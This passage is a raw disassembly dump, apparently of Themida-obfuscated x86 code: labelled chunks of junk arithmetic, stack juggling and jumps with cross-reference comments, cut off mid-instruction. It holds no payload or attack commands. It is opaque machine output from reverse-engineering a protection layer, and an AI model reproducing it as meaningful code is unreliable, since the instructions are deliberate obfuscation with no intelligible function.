mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_56E255 ; --------------------------------------------------------------------------- loc_5605DC: ; CODE XREF: Themida_:0056A347j mov [esp], edi mov edi, 295656AEh sub edi, 4970AC2Fh add esi, edi pop edi sub ebp, 39AB5621h add ebp, esi add ebp, 39AB5621h mov esi, [esp] jmp loc_560C79 ; --------------------------------------------------------------------------- loc_560603: ; CODE XREF: Themida_:00572025j inc ecx shr ecx, 6 sub ecx, 112AD12h jmp loc_56441C ; --------------------------------------------------------------------------- loc_560612: ; CODE XREF: Themida_:0056DB2Aj add ebp, esi sub ebp, 5EF75543h mov esi, [esp] add esp, 4 add ebp, 2 jmp loc_562204 ; --------------------------------------------------------------------------- loc_560628: ; CODE XREF: Themida_:0055D4F6j mov ebx, [esp] add esp, 4 jmp loc_56F2EB ; --------------------------------------------------------------------------- loc_560633: ; CODE XREF: Themida_:00570AEDj xchg ebx, [esp] jmp loc_56C667 ; --------------------------------------------------------------------------- loc_56063B: ; CODE XREF: Themida_:00571582j mov [esp], dx push ax pushf jmp loc_561FB5 ; --------------------------------------------------------------------------- loc_560647: ; CODE XREF: Themida_:0055E3D9j push eax jmp loc_56DDCF ; --------------------------------------------------------------------------- loc_56064D: ; CODE XREF: Themida_:005660F9j xchg ebx, ebp jmp loc_566B78 ; --------------------------------------------------------------------------- loc_560654: ; CODE XREF: Themida_:0056EC0Bj pop ecx add edi, edx jmp loc_56782E ; --------------------------------------------------------------------------- loc_56065C: ; CODE XREF: Themida_:00571CBEj add eax, edx pop edx sub esp, 4 mov [esp], edi mov edi, 743314E9h xor edi, 71D975A8h jmp loc_56FC24 ; --------------------------------------------------------------------------- loc_560678: ; CODE XREF: Themida_:00570B0Fj sub edx, 0C47CE94Ah mov ebx, edx pop edx and ebx, 50A515Ch sub ebx, 5FA576F2h inc ebx jmp loc_56FF99 ; --------------------------------------------------------------------------- loc_560693: ; CODE XREF: Themida_:00560FDDj sub ebx, 71C85950h mov edx, [esp] add esp, 4 jmp loc_5600E9 ; --------------------------------------------------------------------------- loc_5606A7: ; CODE XREF: Themida_:0056C47Dj push ecx mov ecx, 6BE95130h jmp loc_56E0B3 ; --------------------------------------------------------------------------- loc_5606B2: ; CODE XREF: Themida_:00560AB2j pop edi pop dword ptr [esp] pop esp jmp loc_55E39C ; --------------------------------------------------------------------------- loc_5606BC: ; CODE XREF: Themida_:00570A8Aj shl edi, 1 shl edi, 4 shr edi, 2 jmp loc_568450 ; --------------------------------------------------------------------------- loc_5606C9: ; CODE XREF: Themida_:0056DCEFj pop esp sub esp, 4 mov [esp], edi jmp loc_562719 ; --------------------------------------------------------------------------- loc_5606D8: ; CODE XREF: Themida_:00565248j push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp xor eax, edx xor edx, eax jmp loc_56435D ; --------------------------------------------------------------------------- loc_5606EE: ; CODE XREF: Themida_:0056033Aj pop esi sub esp, 4 mov [esp], ebp jmp loc_56B6F3 ; --------------------------------------------------------------------------- loc_5606FA: ; CODE XREF: Themida_:00561E69j add ebx, 0E208027Fh sub eax, ebx jmp loc_5660B6 ; --------------------------------------------------------------------------- loc_560707: ; CODE XREF: Themida_:005721B3j xor edx, eax xor eax, edx push edx xor [esp], ecx xor ecx, [esp] xor [esp], ecx xor ecx, ebp xor ebp, ecx xor ecx, ebp not ebp xor ecx, ebp jmp loc_55DAE2 ; --------------------------------------------------------------------------- loc_560724: ; CODE XREF: Themida_:00567654j pop edi jmp loc_569715 ; --------------------------------------------------------------------------- loc_56072A: ; CODE XREF: Themida_:00563F12j mov [esp], edi mov edi, 0D4838E5h mov edx, 0D4838E7h xor edx, edi push dword ptr [esp] jmp loc_567C1B ; --------------------------------------------------------------------------- loc_560741: ; CODE XREF: Themida_:0056F435j pop edx jmp loc_56EA55 ; --------------------------------------------------------------------------- loc_560747: ; CODE XREF: Themida_:00565119j push 0CCAh mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 jmp loc_56666B ; --------------------------------------------------------------------------- loc_56075F: ; CODE XREF: Themida_:005653B1j add edx, 2B81AA1h add edx, edi sub edx, 2B81AA1h pop edi push ebx push ebp push 6A039B7h pop ebp dec ebp shl ebp, 5 sub ebp, 0D40736BCh mov ebx, ebp pop ebp add edx, 291E3542h add edx, 1C3A79F5h jmp loc_56D331 ; --------------------------------------------------------------------------- loc_560794: ; CODE XREF: Themida_:00565B56j xchg ecx, [esp] mov esp, [esp] mov [esp], edx push ecx push 12610846h mov ecx, [esp] push ebx push esp jmp loc_55F272 ; --------------------------------------------------------------------------- loc_5607AD: ; CODE XREF: Themida_:0056B6D1j add edx, edi pop edi add edx, eax sub edx, 891305Fh push dword ptr [esp] jmp loc_568E15 ; --------------------------------------------------------------------------- loc_5607C0: ; CODE XREF: Themida_:00566B17j add ecx, 0D10845FFh add ebp, ecx pop ecx jmp loc_5656FA ; --------------------------------------------------------------------------- loc_5607CE: ; CODE XREF: Themida_:0055EEF9j pop ecx sub esp, 4 mov [esp], edi jmp loc_56DB95 ; --------------------------------------------------------------------------- loc_5607DA: ; CODE XREF: Themida_:00569B2Aj mov ecx, 0 sub ecx, 7916449Bh sub ecx, edx add ecx, 7916449Bh xchg ecx, edx mov ecx, [esp] add esp, 4 jmp loc_565517 ; --------------------------------------------------------------------------- loc_5607FA: ; CODE XREF: Themida_:00570ED0j add edi, 32B47E06h pop edx xchg edi, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56080E: ; CODE XREF: Themida_:0055F481j mov [esp], esp push eax push esi push ebp push 6A1C295Ah pop ebp jmp loc_563E10 ; --------------------------------------------------------------------------- loc_56081F: ; CODE XREF: Themida_:0055EDBAj mov ebp, eax pop eax sub ebp, 7D1C66CCh add ebp, 419F409Ah jmp loc_564775 ; --------------------------------------------------------------------------- loc_560833: ; CODE XREF: Themida_:0056A071j push dword ptr [esp] pop ecx add esp, 4 jmp loc_56B7FF ; --------------------------------------------------------------------------- loc_560842: ; CODE XREF: Themida_:0056D8E8j add esi, 4 xchg esi, [esp] pop esp push esi pop edi pop esi xor [esp+4], edi mov edi, [esp] push edi jmp loc_56CA0F ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_560870: ; CODE XREF: Themida_:00563A55j pop edx push ebp mov ebp, 4 add edx, ebp pop ebp push esi mov esi, 479D48A0h add esi, 0B862B764h add edx, esi pop esi push 1CFCh mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push edi mov edi, esp add edi, 4 jmp loc_56420A ; --------------------------------------------------------------------------- loc_5608A6: ; CODE XREF: Themida_:00570FC2j mov ebp, 52596E99h add dword ptr [esp+4], 5E9275A9h push edx push edi mov edi, 75B861DBh shr edi, 2 shr edi, 3 shr edi, 1 neg edi add edi, 59B74B12h mov edx, edi pop edi jmp loc_5717E0 ; --------------------------------------------------------------------------- loc_5608D2: ; CODE XREF: Themida_:005670F3j push edi mov edi, 2E352AE9h dec edi not edi add edi, 4CA1289Eh sub edi, 5A0B4D1h mov edx, edi pop edi and ecx, edx pop edx add ecx, 3933049Fh add eax, 681F0295h push ecx jmp loc_5703F9 ; --------------------------------------------------------------------------- loc_5608FE: ; CODE XREF: Themida_:0056B9DDj mov [esp], ecx mov eax, [esp] jmp loc_5667BB ; --------------------------------------------------------------------------- loc_560909: ; CODE XREF: Themida_:0055D880j xchg esi, [esp] pop esp mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_560383 ; --------------------------------------------------------------------------- loc_560939: ; CODE XREF: Themida_:0056A2EFj mov ebx, 799875A4h and ebx, 2A753E56h add ebx, 1F163E9Eh sub eax, ebx pop ebx add eax, edx add eax, 472672A2h jmp loc_5619C6 ; --------------------------------------------------------------------------- loc_560959: ; CODE XREF: Themida_:00569F55j mov esp, [esp] xor bl, al jmp loc_569817 ; --------------------------------------------------------------------------- loc_560963: ; CODE XREF: Themida_:0056623Ej add edx, edi jmp loc_56757F ; --------------------------------------------------------------------------- loc_56096A: ; CODE XREF: Themida_:00570441j add eax, edi pop edi mov esi, [esp] jmp loc_56838E ; --------------------------------------------------------------------------- loc_560975: ; CODE XREF: Themida_:0055FCB0j pop ecx push ecx mov ecx, esp jmp loc_56CB69 ; --------------------------------------------------------------------------- loc_56097E: ; CODE XREF: Themida_:005707F8j add al, bl pop ebx not al jmp loc_561567 ; --------------------------------------------------------------------------- loc_560988: ; CODE XREF: Themida_:00570F4Aj mov [esp], ebx mov bl, 0D6h add bl, 0EAh jmp loc_570CBB ; --------------------------------------------------------------------------- loc_560995: ; CODE XREF: Themida_:0055DC4Dj pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub [edi+24h], esi jmp loc_56E787 ; --------------------------------------------------------------------------- loc_5609A8: ; CODE XREF: Themida_:00566964j push ecx mov ecx, 48CC16DBh mov ebx, 737936BAh sub ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_56225C ; --------------------------------------------------------------------------- loc_5609C3: ; CODE XREF: Themida_:0057026Bj push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edi jmp loc_56CEBF ; --------------------------------------------------------------------------- loc_5609D2: ; CODE XREF: Themida_:0056F97Bj mov ebp, 2C0E3732h add dword ptr [esp+4], 71A500A0h sub [esp+4], ebp sub dword ptr [esp+4], 71A500A0h pop ebp mov esi, [esp] add esp, 4 jmp loc_56EE70 ; --------------------------------------------------------------------------- loc_5609F7: ; CODE XREF: Themida_:0055FB75j add eax, edi pop edi jmp loc_5683E8 ; --------------------------------------------------------------------------- loc_5609FF: ; CODE XREF: Themida_:0056D737j mov ah, 0F1h add cl, 9Ch add cl, ah jmp loc_562CAB ; --------------------------------------------------------------------------- loc_560A0B: ; CODE XREF: Themida_:005612E9j mov edx, esi pop esi xor edx, 0CC1B54CCh sub eax, edx pop edx and esi, eax jmp loc_568A5F ; --------------------------------------------------------------------------- loc_560A1E: ; CODE XREF: Themida_:00568260j push 2AB15F79h jmp loc_5624FB ; --------------------------------------------------------------------------- loc_560A28: ; CODE XREF: Themida_:0055EAB2j inc ecx add ecx, 72345450h sub ecx, 0D22EEEA6h sub ebp, 22D6228Dh add ebp, ecx add ebp, 22D6228Dh jmp loc_570798 ; --------------------------------------------------------------------------- loc_560A48: ; CODE XREF: Themida_:00563015j pop edi inc edi add edi, 0FFFFFFFFh push ebp push eax push ebx mov ebx, 16E36A4Dh xor ebx, 7EFA6ACAh mov eax, ebx pop ebx mov ebp, 98AE443Ah jmp loc_563B6C ; --------------------------------------------------------------------------- loc_560A6B: ; CODE XREF: Themida_:0055F5E1j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_570873 ; --------------------------------------------------------------------------- loc_560A79: ; CODE XREF: Themida_:00561FE0j push ebp jmp loc_568D59 ; --------------------------------------------------------------------------- loc_560A7F: ; CODE XREF: Themida_:00565EDCj pop esp xor ebx, eax push edx mov edx, 2Ch push eax jmp loc_55ECBA ; --------------------------------------------------------------------------- loc_560A8E: ; CODE XREF: Themida_:005600FDj not edi xor edi, 0BD604404h sub esi, edi pop edi jmp loc_56EF72 ; --------------------------------------------------------------------------- loc_560A9E: ; CODE XREF: Themida_:0055E617j add esi, 2EA46C95h jmp loc_5698F5 ; --------------------------------------------------------------------------- loc_560AA9: ; CODE XREF: Themida_:00571E78j pop esi add edi, 2 push edi push dword ptr [esp+4] jmp loc_5606B2 ; --------------------------------------------------------------------------- loc_560AB7: ; CODE XREF: Themida_:0056E1CDj xor edi, 5F10DEDh add edi, 60F75601h mov edx, edi pop edi sub [esp+4], edx pop edx jmp loc_56B63B ; --------------------------------------------------------------------------- loc_560AD0: ; CODE XREF: Themida_:00569BE9j xor ebp, esi jmp loc_560BA1 ; --------------------------------------------------------------------------- loc_560AD7: ; CODE XREF: Themida_:005641A3j push ebp mov ebp, 5AA75610h jmp loc_570ED5 ; --------------------------------------------------------------------------- loc_560AE2: ; CODE XREF: Themida_:005631EDj sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_56DB2F ; --------------------------------------------------------------------------- loc_560AEE: ; CODE XREF: Themida_:00571B9Bj pop edi sub ebx, 7CD25754h add ebx, ecx add ebx, 7CD25754h jmp loc_570B7F ; --------------------------------------------------------------------------- loc_560B02: ; CODE XREF: Themida_:0055E855j add ebx, ecx pop ecx and ecx, ebx pop ebx sub ecx, 14FC0024h and eax, ecx mov ecx, [esp] jmp loc_55E73E ; --------------------------------------------------------------------------- loc_560B18: ; CODE XREF: Themida_:0055E3F1j add edx, edi jmp loc_56A8E0 ; --------------------------------------------------------------------------- loc_560B1F: ; CODE XREF: Themida_:0056F460j sub edi, 4 jmp loc_565280 ; --------------------------------------------------------------------------- loc_560B2A: ; CODE XREF: Themida_:0055E177j sub edi, 11D24397h xor ebx, edi jmp loc_55DD19 ; --------------------------------------------------------------------------- loc_560B37: ; CODE XREF: Themida_:00561197j neg edx push eax mov eax, 4E6931D1h xor edx, eax pop eax xor edx, 0D0C83F2Fh push esi mov esi, 6F3512B4h sub eax, esi pop esi add eax, edx jmp loc_567EF8 ; --------------------------------------------------------------------------- loc_560B58: ; CODE XREF: Themida_:0055E397j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, esp sub esp, 4 jmp loc_561702 ; --------------------------------------------------------------------------- loc_560B77: ; CODE XREF: Themida_:00572499j sub [esp], ecx add dword ptr [esp], 51380437h pop ecx xchg ecx, esi sub esi, 9968AB09h add ebx, esi jmp loc_566C33 ; --------------------------------------------------------------------------- loc_560B91: ; CODE XREF: Themida_:00570C03j pop ecx pop ecx push ecx mov cl, 0A1h or cl, 60h sub cl, 0C3h jmp loc_56DCCD ; --------------------------------------------------------------------------- loc_560BA1: ; CODE XREF: Themida_:00560AD2j mov esi, [esp] add esp, 4 mov edi, ebp jmp loc_56398F ; --------------------------------------------------------------------------- loc_560BB1: ; CODE XREF: Themida_:00561EF7j add eax, 3F005074h not eax xor eax, 6FB97D6Ch shl eax, 4 xor eax, 202B4C19h mov ebp, eax jmp loc_56D7C8 ; --------------------------------------------------------------------------- loc_560BCC: ; CODE XREF: Themida_:00563FCBj mov dh, 84h xor cl, dh pop edx jmp loc_563A75 ; --------------------------------------------------------------------------- loc_560BD6: ; CODE XREF: Themida_:00571EC5j add esp, 4 add ebp, 229B66A2h add ebp, edi sub ebp, 229B66A2h jmp loc_5701D0 ; --------------------------------------------------------------------------- loc_560BEC: ; CODE XREF: Themida_:0055E113j pop esp mov [esp], edi push ebx push edi push edx push 262F5900h pop edx sub edx, 583D3CCEh sub edx, 78AFAEAFh mov edi, edx pop edx not edi not edi shr edi, 6 add edi, 64D60123h jmp loc_561553 ; --------------------------------------------------------------------------- loc_560C1A: ; CODE XREF: Themida_:00568A91j or ecx, 33F659E9h inc ecx push edx mov edx, 4D6D2645h or ecx, edx pop edx push esi mov esi, 0A9711779h add ecx, esi jmp loc_569D20 ; --------------------------------------------------------------------------- loc_560C37: ; CODE XREF: Themida_:0056334Aj add eax, ecx jmp loc_55E06B ; --------------------------------------------------------------------------- loc_560C3E: ; CODE XREF: Themida_:0056BFA0j add [esp+0Ch], ebx pop ebx jmp loc_5657F2 ; --------------------------------------------------------------------------- loc_560C48: ; CODE XREF: Themida_:0056D5A0j pop edx add bh, al pop eax pop cx push dx mov dl, 5Eh jmp loc_565439 ; --------------------------------------------------------------------------- loc_560C57: ; CODE XREF: Themida_:0055D9C1j push ebx mov ebx, 26D5288Bh inc ebx jmp loc_56A2D4 ; --------------------------------------------------------------------------- loc_560C63: ; CODE XREF: Themida_:0055EF8Ej pop esp mov [esp], edx jmp loc_5612FF ; --------------------------------------------------------------------------- loc_560C6C: ; CODE XREF: Themida_:0056C609j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_568FED ; --------------------------------------------------------------------------- loc_560C79: ; CODE XREF: Themida_:005605FEj add esp, 4 xchg ebp, [esp] pop esp push edx jmp loc_5712F3 ; --------------------------------------------------------------------------- loc_560C86: ; CODE XREF: Themida_:005665A8j sub ecx, ebp pop ebp sub esp, 4 mov [esp], eax mov eax, 0 add eax, 32080D86h add eax, ecx sub eax, 32080D86h push ecx mov cl, dl mov [eax], cl pop ecx pop eax mov ecx, [esp] add esp, 4 jmp loc_564E1F ; --------------------------------------------------------------------------- loc_560CB8: ; CODE XREF: Themida_:00571AADj pop edx jmp loc_566703 ; --------------------------------------------------------------------------- loc_560CBE: ; CODE XREF: Themida_:0056B6BAj push edi jmp loc_570468 ; --------------------------------------------------------------------------- loc_560CC4: ; CODE XREF: Themida_:0056898Fj mov edx, [esp] jmp loc_56B44E ; --------------------------------------------------------------------------- loc_560CCC: ; CODE XREF: Themida_:00567343j mov [esp], ebx jmp loc_5669C9 ; --------------------------------------------------------------------------- loc_560CD4: ; CODE XREF: Themida_:00569A10j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_565A99 ; --------------------------------------------------------------------------- loc_560CE7: ; CODE XREF: Themida_:0056CAB0j mov ecx, 4 jmp loc_55F436 ; --------------------------------------------------------------------------- loc_560CF1: ; CODE XREF: Themida_:005624B2j add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 60CD3D7Ah add ebp, 0DB2C39DBh and ebx, ebp pop ebp jmp loc_563598 ; --------------------------------------------------------------------------- loc_560D0F: ; CODE XREF: Themida_:00563259j mov [esp], ebx mov ebx, 69A17D1Fh jmp loc_56B9FF ; --------------------------------------------------------------------------- loc_560D1C: ; CODE XREF: Themida_:00568172j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push esi jmp loc_56906A ; --------------------------------------------------------------------------- loc_560D34: ; CODE XREF: Themida_:00565E09j pop dword ptr [esp] pop esp push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_56B098 ; --------------------------------------------------------------------------- loc_560D46: ; CODE XREF: Themida_:005686A1j mov edi, ebx jmp loc_56FFB8 ; --------------------------------------------------------------------------- loc_560D4D: ; CODE XREF: Themida_:0056256Aj sub esi, 4C343CD4h jmp loc_572768 ; --------------------------------------------------------------------------- loc_560D58: ; CODE XREF: Themida_:0055E4A1j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], esp push ebx push ebp mov ebp, 50614B23h jmp loc_56B10C ; --------------------------------------------------------------------------- loc_560D70: ; CODE XREF: Themida_:0056E8E6j mov ecx, 2E354C7Dh add edx, ecx pop ecx jmp loc_56AFDB ; --------------------------------------------------------------------------- loc_560D7D: ; CODE XREF: Themida_:00563357j add ebp, 40BB537Eh sub ebp, ecx sub ebp, 40BB537Eh pop ecx add esi, 33985164h add esi, ebp sub esi, 33985164h pop ebp jmp loc_56047A ; --------------------------------------------------------------------------- loc_560DA0: ; CODE XREF: Themida_:00571F78j sub esp, 4 mov [esp], ebp mov ebp, esp push 22A8h mov [esp], edi mov edi, 4 add ebp, edi pop edi jmp loc_56B741 ; --------------------------------------------------------------------------- loc_560DC0: ; CODE XREF: Themida_:0056E250j push 5037h mov [esp], edi jmp loc_56B06E ; --------------------------------------------------------------------------- loc_560DCD: ; CODE XREF: Themida_:00567C9Fj pop esp mov [esp], ecx push ebx push ecx jmp loc_562075 ; --------------------------------------------------------------------------- loc_560DD8: ; CODE XREF: Themida_:0055DBFEj push ebx mov ebx, 6BAB1204h add edx, ebx jmp loc_570BA2 ; --------------------------------------------------------------------------- loc_560DE5: ; CODE XREF: Themida_:0055ECFFj mov ebp, 22605FF5h neg ebp not ebp add ebp, 5195296Bh add ebp, 0EA24EA63h sub edx, ebp pop ebp or edx, 36F0FFAh jmp loc_565051 ; --------------------------------------------------------------------------- loc_560E08: ; CODE XREF: Themida_:005671FFj sub edi, 0E9023BE1h sub ebx, edi pop edi sub ebx, 57C32D7Bh mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55F30D ; --------------------------------------------------------------------------- loc_560E42: ; CODE XREF: Themida_:00561833j shl esi, 6 xor esi, 8B800044h add edx, esi mov esi, [esp] add esp, 4 jmp loc_56B7AD ; --------------------------------------------------------------------------- loc_560E58: ; CODE XREF: Themida_:0057034Dj mov esi, [esp] add esp, 4 jmp loc_566D6E ; --------------------------------------------------------------------------- loc_560E63: ; CODE XREF: Themida_:0056041Fj push ebp jmp loc_55E909 ; --------------------------------------------------------------------------- loc_560E69: ; CODE XREF: Themida_:00567891j pop esi shl eax, 5 or eax, 7C782C37h shl eax, 1 or eax, 501F52C2h push edi mov edi, 37FB1893h jmp loc_56FE4B ; --------------------------------------------------------------------------- loc_560E84: ; CODE XREF: Themida_:0056FB06j push dword ptr [esp] pop esi push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] jmp loc_55EA79 ; --------------------------------------------------------------------------- loc_560EAB: ; CODE XREF: Themida_:005692FAj pop eax xchg edx, [esp] mov esp, [esp] jmp loc_56613F ; --------------------------------------------------------------------------- loc_560EB7: ; CODE XREF: Themida_:0056BB50j add esp, 4 jmp loc_5643A3 ; --------------------------------------------------------------------------- loc_560EBF: ; CODE XREF: Themida_:0056A4AAj add esp, 4 sub dword ptr [esp+4], 44E7261Ch add dword ptr [esp+4], 195D565Dh jmp loc_56779D ; --------------------------------------------------------------------------- loc_560EDA: ; CODE XREF: Themida_:0056B926j pop esi xor esi, 7D2A08F2h mov ecx, esi pop esi sub ecx, edx push ecx xor dword ptr [esp], 531E7CABh pop edx xor edx, 531E7CABh jmp loc_55F893 ; --------------------------------------------------------------------------- loc_560EFA: ; CODE XREF: Themida_:00570125j sub eax, 169A7147h pop ecx push edx mov edx, 796A5B0Ch jmp loc_55F739 ; --------------------------------------------------------------------------- loc_560F0B: ; CODE XREF: Themida_:00565724j xor ebp, 0A1609B93h and ecx, ebp pop ebp inc ecx sub ecx, 0CBE42B19h push ecx pop edx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx xor edx, 4C5F7356h add edx, 7F6FA3ACh jmp loc_56DB27 ; --------------------------------------------------------------------------- loc_560F41: ; CODE XREF: Themida_:0056A4DAj add ecx, eax jmp loc_56758B ; --------------------------------------------------------------------------- loc_560F48: ; CODE XREF: Themida_:0056E446j push edx mov edx, 2E4E731Eh shl edx, 3 add edx, 69BF7DC8h jmp loc_567930 ; --------------------------------------------------------------------------- loc_560F5C: ; CODE XREF: Themida_:005722FDj pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5630E1 ; --------------------------------------------------------------------------- loc_560F6B: ; CODE XREF: Themida_:00568FE8j sub esp, 4 mov [esp], ebx push esp jmp loc_5643EC ; --------------------------------------------------------------------------- loc_560F77: ; CODE XREF: Themida_:00567946j mov [esp], esp push 4A98h mov [esp], ebp mov ebp, 4 add [esp+4], ebp mov ebp, [esp] jmp loc_568345 ; --------------------------------------------------------------------------- loc_560F93: ; CODE XREF: Themida_:00562C3Ej add esi, edi sub esi, 4FF5793h pop edi add esi, 4 xchg esi, [esp] jmp loc_572B08 ; --------------------------------------------------------------------------- loc_560FA7: ; CODE XREF: Themida_:00565284j mov [esp], ebp push edi jmp loc_55DF79 ; --------------------------------------------------------------------------- loc_560FB0: ; CODE XREF: Themida_:00561BF3j xor ebx, 4AA3920h jmp loc_572A99 ; --------------------------------------------------------------------------- loc_560FBB: ; CODE XREF: Themida_:00564F9Ej sub ebp, 61F869C4h add ebp, edi push edx push ebx mov ebx, 45153750h dec ebx jmp loc_55DA27 ; --------------------------------------------------------------------------- loc_560FD0: ; CODE XREF: Themida_:00570A37j mov edx, 4 add ebx, 71C85950h add ebx, edx jmp loc_560693 ; --------------------------------------------------------------------------- loc_560FE2: ; CODE XREF: Themida_:0056A8DBj pop esp add cx, 991Fh mov si, cx pop ecx push edi mov di, 295h jmp loc_562CE0 ; --------------------------------------------------------------------------- loc_560FF6: ; CODE XREF: Themida_:005640F4j add esp, 4 jmp loc_56C2E0 ; --------------------------------------------------------------------------- loc_561001: ; CODE XREF: Themida_:0056C4A0j sub esp, 4 mov [esp], esp jmp loc_56D77C ; --------------------------------------------------------------------------- loc_56100C: ; CODE XREF: Themida_:0055F4F0j add esp, 4 pop dword ptr [esp] pop esp push 29EAh mov [esp], eax mov eax, esp add eax, 4 push edx jmp loc_55DC5C ; --------------------------------------------------------------------------- loc_56102B: ; CODE XREF: Themida_:0056C603j add esp, 4 jmp loc_55DF67 ; --------------------------------------------------------------------------- loc_561036: ; CODE XREF: Themida_:00572A40j add dword ptr [esp+4], 5CBF3F6Eh jmp loc_565A6F ; --------------------------------------------------------------------------- loc_561043: ; CODE XREF: Themida_:00567BA3j or eax, eax jnz loc_563244 sub esp, 4 jmp loc_568DFA ; --------------------------------------------------------------------------- loc_561056: ; CODE XREF: Themida_:00567798j pop esi pop edi add edx, ebx push ebx jmp loc_5694A0 ; --------------------------------------------------------------------------- loc_561060: ; CODE XREF: Themida_:0056504Cj xor eax, 55B2621Ch shr eax, 7 inc eax add eax, 1 inc eax xor eax, 0F13E6Fh jmp loc_5615CB ; --------------------------------------------------------------------------- loc_561077: ; CODE XREF: Themida_:00560208j push ebx push edi mov edi, 4F050FF0h dec edi sub edi, 42310AAAh jmp loc_56635F ; --------------------------------------------------------------------------- loc_56108A: ; CODE XREF: Themida_:00568D81j add esp, 4 add edx, eax push ebp mov ebp, 23635D47h sub edx, ebp pop ebp pop eax sub edx, 42657ECDh jmp loc_569738 ; --------------------------------------------------------------------------- loc_5610A4: ; CODE XREF: Themida_:0056A034j push 7FF9h mov [esp], ebp push esp jmp loc_565445 ; --------------------------------------------------------------------------- loc_5610B2: ; CODE XREF: Themida_:00564358j mov [esp], ecx mov ecx, 4 sub esp, 4 jmp loc_566B85 ; --------------------------------------------------------------------------- loc_5610C2: ; CODE XREF: Themida_:00567D74j push dword ptr [esp] pop edi add esp, 4 shr ecx, 6 push ebp mov ebp, ebx push 7D15h mov [esp], ebp jmp loc_569FFD ; --------------------------------------------------------------------------- loc_5610DF: ; CODE XREF: Themida_:0056D0C3j shr ch, 4 push bx mov bh, 0E7h xor ch, bh pop bx push 5A7Eh mov [esp], ebx jmp loc_571E7D ; --------------------------------------------------------------------------- loc_5610F7: ; CODE XREF: Themida_:0056FFC9j push edi mov edi, 4 add dword ptr [esp+4], 1222309Ah sub dword ptr [esp+4], 3117094Fh add [esp+4], edi push ebp mov ebp, 3117094Fh add [esp+8], ebp push dword ptr [esp] pop ebp add esp, 4 push ecx mov ecx, 1222309Ah sub [esp+8], ecx jmp loc_570102 ; --------------------------------------------------------------------------- loc_561134: ; CODE XREF: Themida_:005700F7j pop edx push ecx mov ch, 0F1h jmp loc_568D39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56113D: ; CODE XREF: sub_562A0A+Aj mov dh, 0CDh sub dh, 22h sub al, dh mov dx, word ptr [esp+4+var_4] push ebp jmp loc_5602DA ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56114E: ; CODE XREF: Themida_:00567C6Cj push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop edx push ecx push ebx mov ebx, 72DE603Fh and ebx, 6B72142Ah xor ebx, 3E993B93h jmp loc_55D6D2 ; --------------------------------------------------------------------------- loc_561172: ; CODE XREF: Themida_:00565737j sub eax, ebx add eax, 16411ECh sub esp, 4 mov [esp], edx push eax push ebp push 21886C49h jmp loc_57041B ; --------------------------------------------------------------------------- loc_56118B: ; CODE XREF: Themida_:00572B40j push edx mov edx, 79B1338Fh sub edx, 18524289h jmp loc_560B37 ; --------------------------------------------------------------------------- loc_56119C: ; CODE XREF: Themida_:005658B6j xor ebx, eax pop eax and ebx, 660F09A3h shl ebx, 5 not ebx jmp loc_56BC72 ; --------------------------------------------------------------------------- loc_5611AF: ; CODE XREF: Themida_:0056A9F4j push edi mov edi, 323D4D22h push edi jmp loc_5725E8 ; --------------------------------------------------------------------------- loc_5611BB: ; CODE XREF: Themida_:0055D354j push ecx mov cl, bh mov al, cl mov ecx, [esp] push esi jmp loc_56351E ; --------------------------------------------------------------------------- loc_5611C9: ; CODE XREF: Themida_:00565987j mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 57F22A9Fh push ecx jmp loc_55DB4D ; --------------------------------------------------------------------------- loc_5611E0: ; CODE XREF: Themida_:0056C655j mov [esp], eax mov eax, esp push esi push eax mov eax, 46C42137h mov esi, 0B93BDECDh add esi, eax pop eax add eax, esi jmp loc_5706FC ; --------------------------------------------------------------------------- loc_5611FB: ; CODE XREF: Themida_:00564321j add ebx, edx push dword ptr [esp] pop edx add esp, 4 push ecx mov ecx, 4 add ebx, 46614CDCh add ebx, ecx sub ebx, 46614CDCh pop ecx xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_56BE51 ; --------------------------------------------------------------------------- loc_56122A: ; CODE XREF: Themida_:0056761Ej add ebp, 10755E18h pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] cmp cx, ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561246: ; CODE XREF: Themida_:0055EF78j add esp, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor 